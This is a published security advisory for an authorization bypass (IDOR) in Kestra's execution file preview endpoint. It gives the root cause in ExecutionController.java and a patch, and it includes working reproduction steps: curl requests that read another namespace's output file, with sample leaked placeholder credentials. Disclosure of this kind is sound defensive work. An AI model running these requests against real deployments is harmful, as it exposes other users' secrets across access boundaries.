Cross-Execution File Read via Preview Endpoint (IDOR)
—
Published, fixed and credited. Root cause, the vulnerable code, reproduction and the fix, as published in the advisory itself.
| Advisory | GHSA-r6v3-xxwj-9h42 |
| CVE | CVE-2026-53577 |
| Severity | Medium (6.5) |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-863 (Incorrect Authorization) |
| Published | 2026-06-03 |
| Package | Ecosystem | Vulnerable | Fixed in |
|---|---|---|---|
io.kestra:kestra | maven | <= 1.3.19 | n/a |
The previewFileFromExecution endpoint (GET /api/v1/{tenant}/executions/{executionId}/file/preview) contains an access control bypass that allows any authenticated user to read output files from any other execution within the same tenant, bypassing execution-level and namespace-level isolation.
In ExecutionController.java at line 1863, the previewFileFromExecution method calls this.validateFile(execution, path, redirect) but discards the return value. Two sibling methods on the same class correctly check and propagate the return value:
downloadFileFromExecution (line 913-916): checks return, propagates redirectgetFileMetadatasFromExecution (line 950-953): checks return, propagates redirectThe validateFile method (line 843-900) returns an HttpResponse.redirect() when the kestra:// URI path belongs to a different execution than the one specified in the URL. Because previewFileFromExecution ignores this redirect, it proceeds to call storageInterface.get() with the attacker-supplied URI, which resolves to the victim’s file on disk.
LocalStorage.get() ignores the namespace parameter entirely and resolves the file path as <storageBase>/<tenantId>/<uri.getPath()>. Since the kestra:// URI path embeds the full namespace/flow/execution/task path structure, the file resolves correctly to the victim’s storage location regardless of namespace boundaries.
docker compose up -d # Start Kestra with default config
# Configure credentials via POST /api/v1/main/basicAuth
Victim flow (writes secret credentials to output file):
id: victim-secrets
namespace: victim.ns
tasks:
- id: write_secret
type: io.kestra.plugin.scripts.shell.Commands
taskRunner:
type: io.kestra.plugin.core.runner.Process
outputFiles:
- "credentials.txt"
commands:
- |
cat > credentials.txt <<EOF
DB_PASS=SuperSecretP@ssw0rd!
AWS_SECRET_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
EOF
triggers:
- id: webhook
type: io.kestra.plugin.core.trigger.Webhook
key: "victim-key"
Attacker flow (just needs a valid execution ID):
id: attacker-dummy
namespace: attacker.ns
tasks:
- id: dummy
type: io.kestra.plugin.scripts.shell.Commands
taskRunner:
type: io.kestra.plugin.core.runner.Process
commands:
- echo dummy
triggers:
- id: webhook
type: io.kestra.plugin.core.trigger.Webhook
key: "attacker-key"
# Trigger both flows
VICTIM_EXEC=$(curl -s -X POST ".../webhook/victim.ns/victim-secrets/victim-key" -d '{}')
ATTACKER_EXEC=$(curl -s -X POST ".../webhook/attacker.ns/attacker-dummy/attacker-key" -d '{}')
# Get victim's output file URI from execution details
VICTIM_FILE_URI=$(curl -s -H "Authorization: Basic $CREDS" \
".../executions/$VICTIM_EXEC_ID" | jq -r '.taskRunList[0].outputs.outputFiles["credentials.txt"]')
# CORRECT behavior: download endpoint returns 301 redirect
curl -s -o /dev/null -w "%{http_code}" -H "Authorization: Basic $CREDS" \
".../executions/$ATTACKER_EXEC_ID/file?path=$VICTIM_FILE_URI"
# Returns: 301
# BUG: preview endpoint returns victim's file content
curl -s -H "Authorization: Basic $CREDS" \
".../executions/$ATTACKER_EXEC_ID/file/preview?path=$VICTIM_FILE_URI"
# Returns: 200 with victim's secret data
Download endpoint (correct):
HTTP Status: 301 (redirect to correct execution)
Preview endpoint (bug):
{
"extension": "txt",
"type": "TEXT",
"content": "DB_HOST=prod-db.internal.company.com\nDB_USER=admin\nDB_PASS=SuperSecretP@ssw0rd!\nAWS_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE\nAWS_SECRET_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"maxLine": 100,
"truncated": false
}
ExecutionController.java line 1863:
// BUG: return value discarded
this.validateFile(execution.get(), path, "/api/v1/" + this.getTenant() + "executions/{executionId}/file?path=" + path);
Compare with the correct pattern at line 913-916:
// CORRECT: return value checked and propagated
HttpResponse<StreamedFile> httpResponse = this.validateFile(execution.get(), path, "...");
if (httpResponse != null) {
return httpResponse;
}
Additionally, LocalStorage.get() (line 74) ignores the namespace parameter:
public InputStream get(String tenantId, @Nullable String namespace, URI uri) throws IOException {
return new BufferedInputStream(new FileInputStream(getLocalPath(tenantId, uri).toAbsolutePath().toString()));
// 'namespace' is accepted but never used -- path is resolved from URI alone
}
EXECUTION:READ permission in namespace A can read output files from executions in namespace B, bypassing namespace-level RBAC. Cross-tenant access is not possible (tenantId is validated separately).One-line fix matching the sibling methods:
// Fix: check validateFile return value
HttpResponse<?> httpResponse = this.validateFile(execution.get(), path, "/api/v1/" + this.getTenant() + "executions/{executionId}/file?path=" + path);
if (httpResponse != null) {
return httpResponse;
}
Sanaan Fayaz Wani (GitHub sfwani) reported this vulnerability to the kestra maintainers under coordinated disclosure and is credited as a reporter in GHSA-r6v3-xxwj-9h42, published 2026-06-03.
All published findings: advisory index.